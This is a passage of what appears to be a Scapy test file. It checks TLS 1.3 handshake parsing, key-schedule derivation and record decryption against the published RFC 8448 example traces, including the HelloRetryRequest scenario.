client_hs_traffic_key = clean(""" db fa a6 93 d1 76 2c 5b 66 6a f5 d9 50 25 8d 01 """) client_hs_traffic_iv = clean(""" 5b d3 c7 1b 83 6e 0b 76 bb 73 26 5f """) assert t.tls_session.pwcs.cipher.key == client_hs_traffic_key assert t.tls_session.pwcs.cipher.fixed_iv == client_hs_traffic_iv = Decrypt a TLS 1.3 session - Decrypt and parse client encrypted handshake ~ crypto_advanced # Values from RFC8448, section 3 client_finished = clean(""" a8 ec 43 6d 67 76 34 ae 52 5a c1 fc eb e1 1a 03 9e c1 76 94 fa c6 e9 85 27 b6 42 f2 ed d5 ce 61 """) t = TLS13(clientEncHS, tls_session=t.tls_session.mirror()) assert t.deciphered_len == 37 assert t.inner.type == 22 assert len(t.inner.msg) == 1 m = t.inner.msg assert isinstance(m[0], TLSFinished) assert m[0].vdata == client_finished = Decrypt a TLS 1.3 session - Application traffic secret derivation ~ crypto_advanced # Values from RFC8448, section 3 master_secret = clean(""" 18 df 06 84 3d 13 a0 8b f2 a4 49 84 4c 5f 8a 47 80 01 bc 4d 4c 62 79 84 d5 a4 1d a8 d0 40 29 19 """) client_application_traffic_secret_0 = clean(""" 9e 40 64 6c e7 9a 7f 9d c0 5a f8 88 9b ce 65 52 87 5a fa 0b 06 df 00 87 f7 92 eb b7 c1 75 04 a5 """) server_application_traffic_secret_0 = clean(""" a1 1a f9 f0 55 31 f8 56 ad 47 11 6b 45 a9 50 32 82 04 b4 f4 4b fb 6b 3a 4b 4f 1f 3f cb 63 16 43 """) exporter_master_secret = clean(""" fe 22 f8 81 17 6e da 18 eb 8f 44 52 9e 67 92 c5 0c 9a 3f 89 45 2f 68 d8 ae 31 1b 43 09 d3 cf 50 """) resumption_master_secret = clean(""" 7d f2 35 f2 03 1d 2a 05 12 87 d0 2b 02 41 b0 bf da f8 6c c8 56 23 1f 2d 5a ba 46 c4 34 ec 19 6c """) assert t.tls_session.tls13_master_secret is not None assert t.tls_session.tls13_master_secret == master_secret assert len(t.tls_session.tls13_derived_secrets) == 9 assert 'client_traffic_secrets' in t.tls_session.tls13_derived_secrets assert len(t.tls_session.tls13_derived_secrets['client_traffic_secrets']) == 1 assert t.tls_session.tls13_derived_secrets['client_traffic_secrets'][0] == client_application_traffic_secret_0 assert 'server_traffic_secrets' in t.tls_session.tls13_derived_secrets assert len(t.tls_session.tls13_derived_secrets['server_traffic_secrets']) == 1 assert t.tls_session.tls13_derived_secrets['server_traffic_secrets'][0] == server_application_traffic_secret_0 assert 'exporter_secret' in t.tls_session.tls13_derived_secrets assert t.tls_session.tls13_derived_secrets['exporter_secret'] == exporter_master_secret assert 'resumption_secret' in t.tls_session.tls13_derived_secrets assert t.tls_session.tls13_derived_secrets['resumption_secret'] == resumption_master_secret = Decrypt a TLS 1.3 session - Application traffic keys calculation ~ crypto_advanced # Values from RFC8448, section 3 client_ap_traffic_key = clean(""" 17 42 2d da 59 6e d5 d9 ac d8 90 e3 c6 3f 50 51 """) client_ap_traffic_iv = clean(""" 5b 78 92 3d ee 08 57 90 33 e5 23 d9 """) server_ap_traffic_key = clean(""" 9f 02 28 3b 6c 9c 07 ef c2 6b b9 f2 ac 92 e3 56 """) server_ap_traffic_iv = clean(""" cf 78 2b 88 dd 83 54 9a ad f1 e9 84 """) assert t.tls_session.rcs.cipher.key == client_ap_traffic_key assert t.tls_session.rcs.cipher.fixed_iv == client_ap_traffic_iv assert t.tls_session.wcs.cipher.key == server_ap_traffic_key assert t.tls_session.wcs.cipher.fixed_iv == server_ap_traffic_iv = Decrypt a TLS 1.3 session - Decrypt and parse server NewSessionTicket ~ crypto_advanced from scapy.layers.tls.extensions import TLS_Ext_EarlyDataIndicationTicket # Value from RFC8448, section 3 serverEncTicket = clean(""" 17 03 03 00 de 3a 6b 8f 90 41 4a 97 d6 95 9c 34 87 68 0d e5 13 4a 2b 24 0e 6c ff ac 11 6e 95 d4 1d 6a f8 f6 b5 80 dc f3 d1 1d 63 c7 58 db 28 9a 01 59 40 25 2f 55 71 3e 06 1d c1 3e 07 88 91 a3 8e fb cf 57 53 ad 8e f1 70 ad 3c 73 53 d1 6d 9d a7 73 b9 ca 7f 2b 9f a1 b6 c0 d4 a3 d0 3f 75 e0 9c 30 ba 1e 62 97 2a c4 6f 75 f7 b9 81 be 63 43 9b 29 99 ce 13 06 46 15 13 98 91 d5 e4 c5 b4 06 f1 6e 3f c1 81 a7 7c a4 75 84 00 25 db 2f 0a 77 f8 1b 5a b0 5b 94 c0 13 46 75 5f 69 23 2c 86 51 9d 86 cb ee ac 87 aa c3 47 d1 43 f9 60 5d 64 f6 50 db 4d 02 3e 70 e9 52 ca 49 fe 51 37 12 1c 74 bc 26 97 68 7e 24 87 46 d6 df 35 30 05 f3 bc e1 86 96 12 9c 81 53 55 6b 3b 6c 67 79 b3 7b f1 59 85 68 4f """) t = TLS13(serverEncTicket, tls_session=t.tls_session.mirror()) assert t.deciphered_len == 206 assert t.inner.type == 22 assert t.auth_tag == b'\x9c\x81SUk;lgy\xb3{\xf1Y\x85hO' assert len(t.inner.msg) == 1 m = t.inner.msg[0] assert m.msgtype == 4 assert m.ticket_lifetime == 30 assert m.ticket_age_add == 4208372421 assert m.noncelen == 2 assert len(m.ticket_nonce) == 2 assert m.ticket_nonce == b'\x00\x00' assert m.ticket == b',\x03]\x82\x93Y\xee_\xf7\xafN\xc9\x00\x00\x00\x00&*d\x94\xdcHm,\x8a4\xcb3\xfa\x90\xbf\x1b\x00p\xad=\xa2g\x7f\xa5\x90l[?}\x8f\x92\xf2(\xbd\xa4\r\xdar\x14p\xf9\xfb\xf2\x97\xb5\xae\xa6\x17do\xac\\\x03\'.\x97\x07\'\xc6!\xa7\x91A\xef_}\xe6P^[\xfb\xc3\x88\xe93Ci@\x93\x93J\xe4\xd3W' assert len(m.ext) == 1 assert isinstance(m.ext[0], TLS_Ext_EarlyDataIndicationTicket) assert m.ext[0].max_early_data_size == 1024 = Decrypt a TLS 1.3 session - Compute the PSK associated with the ticket ~ crypto_advanced from scapy.layers.tls.crypto.hkdf import TLS13_HKDF hash_len = t.tls_session.rcs.ciphersuite.hash_alg.hash_len hkdf = TLS13_HKDF(t.tls_session.rcs.ciphersuite.hash_alg.name.lower()) tls13_psk_secret = hkdf.expand_label(t.tls_session.tls13_derived_secrets['resumption_secret'], b"resumption", m.ticket_nonce, hash_len) # Value from RFC8448, section 3 psk_resumption = clean(""" 4e cd 0e b6 ec 3b 4d 87 f5 d6 02 8f 92 2c a4 c5 85 1a 27 7f d4 13 11 c9 e6 2d 2c 94 92 e1 c4 f3 """) assert hash_len == 32 assert tls13_psk_secret == psk_resumption = Decrypt a TLS 1.3 session - Decrypt and parse client Application Data ~ crypto_advanced from scapy.layers.tls.record import TLSApplicationData # Values from RFC8448, section 3 payload = clean(""" 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 """) clientEncAppData = clean(""" 17 03 03 00 43 a2 3f 70 54 b6 2c 94 d0 af fa fe 82 28 ba 55 cb ef ac ea 42 f9 14 aa 66 bc ab 3f 2b 98 19 a8 a5 b4 6b 39 5b d5 4a 9a 20 44 1e 2b 62 97 4e 1f 5a 62 92 a2 97 70 14 bd 1e 3d ea e6 3a ee bb 21 69 49 15 e4 """) t = TLS13(clientEncAppData, tls_session=t.tls_session.mirror()) assert t.deciphered_len == 51 assert len(t.inner.msg) == 1 assert t.inner.type == 23 m = t.inner.msg[0] assert isinstance(m, TLSApplicationData) assert m.data == payload = Decrypt a TLS 1.3 session - Decrypt and parse server Application Data ~ crypto_advanced # Values from RFC8448, section 3 payload = clean(""" 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 """) serverEncAppData = clean(""" 17 03 03 00 43 2e 93 7e 11 ef 4a c7 40 e5 38 ad 36 00 5f c4 a4 69 32 fc 32 25 d0 5f 82 aa 1b 36 e3 0e fa f9 7d 90 e6 df fc 60 2d cb 50 1a 59 a8 fc c4 9c 4b f2 e5 f0 a2 1c 00 47 c2 ab f3 32 54 0d d0 32 e1 67 c2 95 5d """) t = TLS13(serverEncAppData, tls_session=t.tls_session.mirror()) assert t.deciphered_len == 51 assert len(t.inner.msg) == 1 assert t.inner.type == 23 m = t.inner.msg[0] assert isinstance(m, TLSApplicationData) assert m.data == payload = Decrypt a TLS 1.3 session - Decrypt client Alert ~ crypto_advanced from scapy.layers.tls.record import TLSAlert # Value from RFC8448, section 3 clientEncAlert = clean(""" 17 03 03 00 13 c9 87 27 60 65 56 66 b7 4d 7f f1 15 3e fd 6d b6 d0 b0 e3 """) t = TLS13(clientEncAlert, tls_session=t.tls_session.mirror()) assert t.deciphered_len == 3 assert len(t.inner.msg) == 1 assert t.inner.type == 21 m = t.inner.msg[0] assert isinstance(m, TLSAlert) assert m.level == 1 assert m.descr == 0 = Decrypt a TLS 1.3 session - Decrypt server Alert ~ crypto_advanced # Value from RFC8448, section 3 serverEncAlert = clean(""" 17 03 03 00 13 b5 8f d6 71 66 eb f5 99 d2 47 20 cf be 7e fa 7a 88 64 a9 """) t = TLS13(serverEncAlert, tls_session=t.tls_session.mirror()) assert t.deciphered_len == 3 assert len(t.inner.msg) == 1 assert t.inner.type == 21 m = t.inner.msg[0] assert isinstance(m, TLSAlert) assert m.level == 1 assert m.descr == 0 ########### HelloRetryRequest ############################################### + Decrypt a TLS 1.3 session with a retry = Decrypt a TLS 1.3 session with a retry - Parse first ClientHello # Values from RFC8448, section 5 x25519_clt_priv = clean(""" 0e d0 2f 8e 81 17 ef c7 5c a7 ac 32 aa 7e 34 ed a6 4c dc 0d da d1 54 a5 e8 52 89 f9 59 f6 32 04 """) x25519_clt_pub = clean(""" e8 e8 e3 f3 b9 3a 25 ed 97 a1 4a 7d ca cb 8a 27 2c 62 88 e5 85 c6 48 4d 05 26 2f ca d0 62 ad 1f """) clientHello1 = clean(""" 16 03 01 00 b4 01 00 00 b0 03 03 b0 b1 c5 a5 aa 37 c5 91 9f 2e d1 d5 c6 ff f7 fc b7 84 97 16 94 5a 2b 8c ee 92 58 a3 46 67 7b 6f 00 00 06 13 01 13 03 13 02 01 00 00 81 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01 00 00 0a 00 08 00 06 00 1d 00 17 00 18 00 33 00 26 00 24 00 1d 00 20 e8 e8 e3 f3 b9 3a 25 ed 97 a1 4a 7d ca cb 8a 27 2c 62 88 e5 85 c6 48 4d 05 26 2f ca d0 62 ad 1f 00 2b 00 03 02 03 04 00 0d 00 20 00 1e 04 03 05 03 06 03 02 03 08 04 08 05 08 06 04 01 05 01 06 01 02 01 04 02 05 02 06 02 02 02 00 2d 00 02 01 01 00 1c 00 02 40 01 """) t = TLS(clientHello1) assert len(t.msg) == 1 assert t.msg[0].msgtype == 1 assert t.msg[0].extlen == 129 assert len(t.msg[0].ext) == 8 e = t.msg[0].ext assert isinstance(e[0], TLS_Ext_ServerName) assert isinstance(e[1], TLS_Ext_RenegotiationInfo) assert isinstance(e[2], TLS_Ext_SupportedGroups) assert isinstance(e[3],TLS_Ext_KeyShare_CH) assert len(e[3].client_shares) == 1 assert e[3].client_shares[0].group == 29 assert e[3].client_shares[0].key_exchange == x25519_clt_pub assert isinstance(e[4], TLS_Ext_SupportedVersion_CH) assert isinstance(e[5], TLS_Ext_SignatureAlgorithms) assert isinstance(e[6], TLS_Ext_PSKKeyExchangeModes) assert e[6].kxmodeslen == 1 assert len(e[6].kxmodes) == 1 assert e[6].kxmodes[0] == 1 assert isinstance(e[7], TLS_Ext_RecordSizeLimit) secp256_srv_pub = clean(""" 8c 51 06 01 f9 76 5b fb 8e d6 93 44 9a 48 98 98 59 b5 cf a8 79 cb 9f 54 43 c4 1c 5f f1 06 34 ed """) secp256_srv_pub = clean(""" 04 58 3e 05 4b 7a 66 67 2a e0 20 ad 9d 26 86 fc c8 5b 5a d4 1a 13 4a 0f 03 ee 72 b8 93 05 2b d8 5b 4c 8d e6 77 6f 5b 04 ac 07 d8 35 40 ea b3 e3 d9 c5 47 bc 65 28 c4 31 7d 29 46 86 09 3a 6c ad 7d """) = Decrypt a TLS 1.3 session with a retry - Parse ServerHelloRetryRequest from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_KeyShare_HRR from scapy.layers.tls.extensions import TLS_Ext_Cookie from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes # Value from RFC8448, section 5 helloRetryRequest = clean(""" 16 03 03 00 b0 02 00 00 ac 03 03 cf 21 ad 74 e5 9a 61 11 be 1d 8c 02 1e 65 b8 91 c2 a2 11 16 7a bb 8c 5e 07 9e 09 e2 c8 a8 33 9c 00 13 01 00 00 84 00 33 00 02 00 17 00 2c 00 74 00 72 71 dc d0 4b b8 8b c3 18 91 19 39 8a 00 00 00 00 ee fa fc 76 c1 46 b8 23 b0 96 f8 aa ca d3 65 dd 00 30 95 3f 4e df 62 56 36 e5 f2 1b b2 e2 3f cc 65 4b 1b 5b 40 31 8d 10 d1 37 ab cb b8 75 74 e3 6e 8a 1f 02 5f 7d fa 5d 6e 50 78 1b 5e da 4a a1 5b 0c 8b e7 78 25 7d 16 aa 30 30 e9 e7 84 1d d9 e4 c0 34 22 67 e8 ca 0c af 57 1f b2 b7 cf f0 f9 34 b0 00 2b 00 02 03 04 """) t = TLS(helloRetryRequest, tls_session=t.tls_session.mirror()) assert len(t.msg) == 1 assert t.msg[0].msgtype == 2 digest = hashes.Hash(hashes.SHA256(), backend=default_backend()) digest.update(b"HelloRetryRequest") assert t.msg[0].random_bytes == digest.finalize() assert t.msg[0].extlen == 132 assert len(t.msg[0].ext) == 3 e = t.msg[0].ext assert isinstance(e[0], TLS_Ext_KeyShare_HRR) assert e[0].type == 51 assert e[0].len == 2 assert e[0].selected_group == 23 assert isinstance(e[1], TLS_Ext_Cookie) assert e[1].type == 44 assert e[1].len == 116 assert e[1].cookielen == 114 assert e[1].cookie == b'q\xdc\xd0K\xb8\x8b\xc3\x18\x91\x199\x8a\x00\x00\x00\x00\xee\xfa\xfcv\xc1F\xb8#\xb0\x96\xf8\xaa\xca\xd3e\xdd\x000\x95?N\xdfbV6\xe5\xf2\x1b\xb2\xe2?\xcceK\x1b[@1\x8d\x10\xd17\xab\xcb\xb8ut\xe3n\x8a\x1f\x02_}\xfa]nPx\x1b^\xdaJ\xa1[\x0c\x8b\xe7x%}\x16\xaa00\xe9\xe7\x84\x1d\xd9\xe4\xc04"g\xe8\xca\x0c\xafW\x1f\xb2\xb7\xcf\xf0\xf94\xb0' assert isinstance(e[2], TLS_Ext_SupportedVersion_SH) = Decrypt a TLS 1.3 session with a retry - Parse second ClientHello from scapy.layers.tls.extensions import TLS_Ext_Padding # Values from RFC8448, section 5 secp256_clt_pub = clean(""" 04 a6 da 73 92 ec 59 1e 17 ab fd 53 59 64 b9 98 94 d1 3b ef b2 21 b3 de f2 eb e3 83 0e ac 8f 01 51 81 26 77 c4 d6 d2 23 7e 85 cf 01 d6 91 0c fb 83 95 4e 76 ba 73 52 83 05 34 15 98 97 e8 06 57 80 """) secp256_clt_priv = clean(""" ab 54 73 46 7e 19 34 6c eb 0a 04 14 e4 1d a2 1d 4d 24 45 bc 30 25 af e9 7c 4e 8d c8 d5 13 da 39 """) clientHello2 = clean(""" 16 03 03 02 00 01 00 01 fc 03 03 b0 b1 c5 a5 aa 37 c5 91 9f 2e d1 d5 c6 ff f7 fc b7 84 97 16 94 5a 2b 8c ee 92 58 a3 46 67 7b 6f 00 00 06 13 01 13 03 13 02 01 00 01 cd 00 00 00 0b 00 09 00 00 06 73 65 72 76 65 72 ff 01 00 01 00 00 0a 00 08 00 06 00 1d 00 17 00 18 00 33 00 47 00 45 00 17 00 41 04 a6 da 73 92 ec 59 1e 17 ab fd 53 59 64 b9 98 94 d1 3b ef b2 21 b3 de f2 eb e3 83 0e ac 8f 01 51 81 26 77 c4 d6 d2 23 7e 85 cf 01 d6 91 0c fb 83 95 4e 76 ba 73 52 83 05 34 15 98 97 e8 06 57 80 00 2b 00 03 02 03 04 00 0d 00 20 00 1e 04 03 05 03 06 03 02 03 08 04 08 05 08 06 04 01 05 01 06 01 02 01 04 02 05 02 06 02 02 02 00 2c 00 74 00 72 71 dc d0 4b b8 8b c3 18 91 19 39 8a 00 00 00 00 ee fa fc 76 c1 46 b8 23 b0 96 f8 aa ca d3 65 dd 00 30 95 3f 4e df 62 56 36 e5 f2 1b b2 e2 3f cc 65 4b 1b 5b 40 31 8d 10 d1 37 ab cb b8 75 74 e3 6e 8a 1f 02 5f 7d fa 5d 6e 50 78 1b 5e da 4a a1 5b 0c 8b e7 78 25 7d 16 aa 30 30 e9 e7 84 1d d9 e4 c0 34 22 67 e8 ca 0c af 57 1f b2 b7 cf f0 f9 34 b0 00 2d 00 02 01 01 00 1c 00 02 40 01 00 15 00 af 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 """) t = TLS(clientHello2, tls_session=t.tls_session.mirror()) assert len(t.msg) == 1 assert t.msg[0].msgtype == 1 assert t.msg[0].extlen == 461 assert len(t.msg[0].ext) == 10 e = t.msg[0].ext assert isinstance(e[0], TLS_Ext_ServerName) assert isinstance(e[1], TLS_Ext_RenegotiationInfo) assert isinstance(e[2], TLS_Ext_SupportedGroups) assert isinstance(e[3],TLS_Ext_KeyShare_CH) assert len(e[3].client_shares) == 1 assert e[3].client_shares[0].group == 23 assert e[3].client_shares[0].key_exchange == secp256_clt_pub assert isinstance(e[4], TLS_Ext_SupportedVersion_CH) assert isinstance(e[5], TLS_Ext_SignatureAlgorithms) assert isinstance(e[6], TLS_Ext_Cookie) assert e[6].cookie == b'q\xdc\xd0K\xb8\x8b\xc3\x18\x91\x199\x8a\x00\x00\x00\x00\xee\xfa\xfcv\xc1F\xb8#\xb0\x96\xf8\xaa\xca\xd3e\xdd\x000\x95?N\xdfbV6\xe5\xf2\x1b\xb2\xe2?\xcceK\x1b[@1\x8d\x10\xd17\xab\xcb\xb8ut\xe3n\x8a\x1f\x02_}\xfa]nPx\x1b^\xdaJ\xa1[\x0c\x8b\xe7x%}\x16\xaa00\xe9\xe7\x84\x1d\xd9\xe4\xc04"g\xe8\xca\x0c\xafW\x1f\xb2\xb7\xcf\xf0\xf94\xb0' assert isinstance(e[7], TLS_Ext_PSKKeyExchangeModes) assert e[7].kxmodeslen == 1 assert len(e[7].kxmodes) == 1 assert e[7].kxmodes[0] == 1 assert isinstance(e[8], TLS_Ext_RecordSizeLimit) assert isinstance(e[9], TLS_Ext_Padding) assert e[9].len == 175 assert e[9].padding == 175*b'\x00' = Decrypt a TLS 1.3 session with a retry - Parse ServerHello from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePrivateNumbers pubnum = t.tls_session.tls13_client_pubshares["secp256r1"].public_numbers() privnum = EllipticCurvePrivateNumbers(pkcs_os2ip(secp256_clt_priv), pubnum) privkey = privnum.private_key(default_backend()) t.tls_session.tls13_client_privshares["secp256r1"] = privkey serverHello = clean(""" 16 03 03 00 7b 02 00 00 77 03 03 bb 34 1d 84 7f d7 89 c4 7c 38 71 72 dc 0c 9b f1 47 fc ca cb 50 43 d8 6c a4 c5 98 d3 ff 57 1b 98 00 13 01 00 00 4f 00 33 00 45 00 17 00 41 04 58 3e 05 4b 7a 66 67 2a e0 20 ad 9d 26 86 fc c8 5b 5a d4 1a 13 4a 0f 03 ee 72 b8 93 05 2b d8 5b 4c 8d e6 77 6f 5b 04 ac 07 d8 35 40 ea b3 e3 d9 c5 47 bc 65 28 c4 31 7d 29 46 86 09 3a 6c ad 7d 00 2b 00 02 03 04 """) t = TLS(serverHello, tls_session=t.tls_session.mirror()) assert len(t.msg) == 1 assert isinstance(t.msg[0], TLS13ServerHello) assert len(t.msg[0].ext) == 2 e = t.msg[0].ext assert isinstance(e[0], TLS_Ext_KeyShare_SH) assert e[0].server_share.group == 23 assert e[0].server_share.key_exchange == secp256_srv_pub assert isinstance(e[1], TLS_Ext_SupportedVersion_SH) = Decrypt a TLS 1.3 session with a retry - Handshake traffic secret derivation # Values from RFC8448, section 5 early_secret = clean(""" 33 ad 0a 1c 60 7e c0 3b 09 e6 cd 98 93 68 0c e2 10 ad f3 00 aa 1f 26 60 e1 b2 2e 10 f1 70 f9 2a """) ecdhe_secret = clean(""" c1 42 ce 13 ca 11 b5 c2 23 36 52 e6 3a d3 d9 78 44 f1 62 1f bf b9 de 69 d5 47 dc 8f ed ea be b4 """) handshake_secret = clean(""" ce 02 2e 5e 6e 81 e5 07 36 d7 73 f2 d3 ad fc e8 22 0d 04 9b f5 10 f0 db fa c9 27 ef 42 43 b1 48 """) client_handshake_traffic_secret = clean(""" 15 8a a7 ab 88 55 07 35 82 b4 1d 67 4b 40 55 ca bc c5 34 72 8f 65 93 14 86 1b 4e 08 e2 01 15 66 """) server_handshake_traffic_secret = clean(""" 34 03 e7 81 e2 af 7b 65 08 da 28 57 4f 6e 95 a1 ab f1 62 de 83 a9 79 27 c3 76 72 a4 a0 ce f8 a1 """) assert len(t.tls_session.tls13_derived_secrets) == 5 assert t.tls_session.tls13_early_secret is not None assert t.tls_session.tls13_early_secret == early_secret assert t.tls_session.tls13_dhe_secret == ecdhe_secret assert t.tls_session.tls13_handshake_secret is not None assert t.tls_session.tls13_handshake_secret == handshake_secret assert 'client_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets assert t.tls_session.tls13_derived_secrets['client_handshake_traffic_secret'] == client_handshake_traffic_secret assert 'server_handshake_traffic_secret' in t.tls_session.tls13_derived_secrets assert t.tls_session.tls13_derived_secrets['server_handshake_traffic_secret'] == server_handshake_traffic_secret = Decrypt a TLS 1.3 session with a retry - Server handshake traffic key calculation # Values from RFC8448, section 5 server_hs_traffic_key = clean(""" 46 46 bf ac 17 12 c4 26 cd 78 d8 a2 4a 8a 6f 6b """) server_hs_traffic_iv = clean(""" c7 d3 95 c0 8d 62 f2 97 d1 37 68 ea """) assert t.tls_session.prcs.cipher.key == server_hs_traffic_key assert t.tls_session.prcs.cipher.fixed_iv == server_hs_traffic_iv = Decrypt a TLS 1.3 session with a retry - Decrypt and parse server handshake # Values from RFC8448, section 5 serverEncHS = clean(""" 17 03 03 02 96 99 be e2 0b af 5b 7f c7 27 bf ab 62 23 92 8a 38 1e 6d 0c f9 c4 da 65 3f 9d 2a 7b 23 f7 de 11 cc e8 42 d5 cf 75 63 17 63 45 0f fb 8b 0c c1 d2 38 e6 58 af 7a 12 ad c8 62 43 11 4a b1 4a 1d a2 fa e4 26 21 ce 48 3f b6 24 2e ab fa ad 52 56 6b 02 b3 1d 2e dd ed ef eb 80 e6 6a 99 00 d5 f9 73 b4 0c 4f df 74 71 9e cf 1b 68 d7 f9 c3 b6 ce b9 03 ca 13 dd 1b b8 f8 18 7a e3 34 17 e1 d1 52 52 2c 58 22 a1 a0 3a d5 2c 83 8c 55 95 3d 61 02 22 87 4c ce 8e 17 90 b2 29 a2 aa 0b 53 c8 d3 77 ee 72 01 82 95 1d c6 18 1d c5 d9 0b d1 f0 10 5e d1 e8 4a a5 f7 59 57 c6 66 18 97 07 9e 5e a5 00 74 49 e3 19 7b dc 7c 9b ee ed dd ea fd d8 44 af a5 c3 15 ec fe 65 e5 76 af e9 09 81 28 80 62 0e c7 04 8b 42 d7 f5 c7 8d 76 f2 99 d6 d8 25 34 bd d8 f5 12 fe bc 0e d3 81 4a ca 47 0c d8 00 0d 3e 1c b9 96 2b 05 2f bb 95 0d f6 83 a5 2c 2b a7 7e d3 71 3b 12 29 37 a6 e5 17 09 64 e2 ab 79 69 dc d9 80 b3 db 9b 45 8d a7 60 31 24 d6 dc 00 5e 4d 6e 04 b4 d0 c4 ba f3 27 5d b8 27 db ba 0a 6d b0 96 72 17 1f c0 57 b3 85 1d 7e 02 68 41 e2 97 8f bd 23 46 bb ef dd 03 76 bb 11 08 fe 9a cc 92 18 9f 56 50 aa 5e 85 d8 e8 c7 b6 7a c5 10 db a0 03 d3 d7 e1 63 50 bb 66 d4 50 13 ef d4 4c 9b 60 7c 0d 31 8c 4c 7d 1a 1f 5c bc 57 e2 06 11 80 4e 37 87 d7 b4 a4 b5 f0 8e d8 fd 70 bd ae ad e0 22 60 b1 2a b8 42 ef 69 0b 4a 3e e7 91 1e 84 1b 37 4e cd 5e bb bc 2a 54 d0 47 b6 00 33 6d d7 d0 c8 8b 4b c1 0e 58 ee 6c b6 56 de 72 47 fa 20 d8 e9 1d eb 84 62 86 08 cf 80 61 5b 62 e9 6c 14 91 c7 ac 37 55 eb 69 01 40 5d 34 74 fe 1a c7 9d 10 6a 0c ee 56 c2 57 7f c8 84 80 f9 6c b6 b8 c6 81 b7 b6 8b 53 c1 46 09 39 08 f3 50 88 81 75 bd fb 0b 1e 31 ad 61 e3 0b a0 ad fe 6d 22 3a a0 3c 07 83 b5 00 1a 57 58 7c 32 8a 9a fc fc fb 97 8d 1c d4 32 8f 7d 9d 60 53 0e 63 0b ef d9 6c 0c 81 6e e2 0b 01 00 76 8a e2 a6 df 51 fc 68 f1 72 74 0a 79 af 11 39 8e e3 be 12 52 49 1f a9 c6 93 47 9e 87 7f 94 ab 7c 5f 8c ad 48 02 03 e6 ab 7b 87 dd 71 e8 a0 72 91 13 df 17 f5 ee e8 6c e1 08 d1 d7 20 07 ec 1c d1 3c 85 a6 c1 49 62 1e 77 b7 d7 8d 80 5a 30 f0 be 03 0c 31 5e 54 """) server_finished = clean(""" 88 63 e6 bf b0 42 0a 92 7f a2 7f 34 33 6a 70 ae 42 6e 96 8e 3e b8 84 94 5b 96 85 6d ba 39 76 d1 """) t = TLS13(serverEncHS, tls_session=t.tls_session) assert t.deciphered_len == 646 assert len(t.inner.msg) == 4 m = t.inner.msg assert isinstance(m[0], TLSEncryptedExtensions) assert len(m[0].ext) == 3 assert isinstance(m[0].ext[0], TLS_Ext_SupportedGroups) assert isinstance(m[0].ext[1], TLS_Ext_RecordSizeLimit) assert isinstance(m[0].ext[2], TLS_Ext_ServerName) assert isinstance(m[1], TLS13Certificate) assert isinstance(m[2], TLSCertificateVerify) assert isinstance(m[3], TLSFinished) assert m[3].vdata == server_finished = Decrypt a TLS 1.3 session with a retry - Client handshake traffic key calculation # Values from RFC8448, section 5 client_hs_traffic_key = clean(""" 2f 1f 91 86 63 d5 90 e7 42 11 49 a2 9d 94 b0 b6 """) client_hs_traffic_iv = clean(""" 41 4d 54 85 23 5e 1a 68 87 93 bd 74 """) assert t.tls_session.pwcs.cipher.key == client_hs_traffic_key assert t.tls_session.pwcs.cipher.fixed_iv == client_hs_traffic_iv = Decrypt a TLS 1.3 session with a retry - Decrypt and parse client finished # Values from RFC8448, section 5 clientFinished = clean(""" 23 f5 2f db 07 09 a5 5b d7 f7 9b 99 1f 25 48 40 87 bc fd 4d 43 80 b1 23 26 a5 2a 28 b2 e3 68 e1 """) clientEncHS = clean(""" 17 03 03 00 35 d7 4f 19 23 c6 62 fd 34 13 7c 6f 50 2f 3d d2 b9 3d 95 1d 1b 3b c9 7e 42 af e2 3c 31 ab ea 92 fe 91 b4 74 99 9e 85 e3 b7 91 ce 25 2f e8 c3 e9 f9 39 a4 12 0c b2 """) t = TLS13(clientEncHS, tls_session=t.tls_session.mirror()) assert t.deciphered_len == 37 assert len(t.inner.msg) == 1 assert isinstance(t.inner.msg[0], TLSFinished) assert t.inner.msg[0].vdata == clientFinished assert t.inner.type == 22 = Decrypt a TLS 1.3 session with a retry - Application traffic secret derivation # Values from RFC8448, section 5 master_secret = clean(""" 11 31 54 5d 0b af 79 dd ce 9b 87 f0 69 45 78 1a 57 dd 18 ef 37 8d cd 20 60 f8 f9 a5 69 02 7e d8 """) client_application_traffic_secret_0 = clean(""" 75 ec f4 b9 72 52 5a a0 dc d0 57 c9 94 4d 4c d5 d8 26 71 d8 84 31 41 d7 dc 2a 4f f1 5a 21 dc 51 """) server_application_traffic_secret_0 = clean(""" 5c 74 f8 7d f0 42 25 db 0f 82 09 c9 de 64 29 e4 94 35 fd ef a7 ca d6 18 64 87 4d 12 f3 1c fc 8d """) exporter_master_secret = clean(""" 7c 06 d3 ae 10 6a 3a 37 4a ce 48 37 b3 98 5c ac 67 78 0a 6e 2c 5c 04 b5 83 19 d5 84 df 09 d2 23 """) resumption_master_secret = clean(""" 09 17 0c 6d 47 27 21 56 6f 9c f9 9b 08 69 9d af f5 61 ec 8f b2 2d 5a 32 c3 f9 4c e0 09 b6 99 75 """) assert t.tls_session.tls13_master_secret is not None assert t.tls_session.tls13_master_secret == master_secret assert len(t.tls_session.tls13_derived_secrets) == 9 assert 'client_traffic_secrets' in t.tls_session.tls13_derived_secrets assert len(t.tls_session.tls13_derived_secrets['client_traffic_secrets']) == 1 assert t.tls_session.tls13_derived_secrets['client_traffic_secrets'][0] == client_application_traffic_secret_0 assert 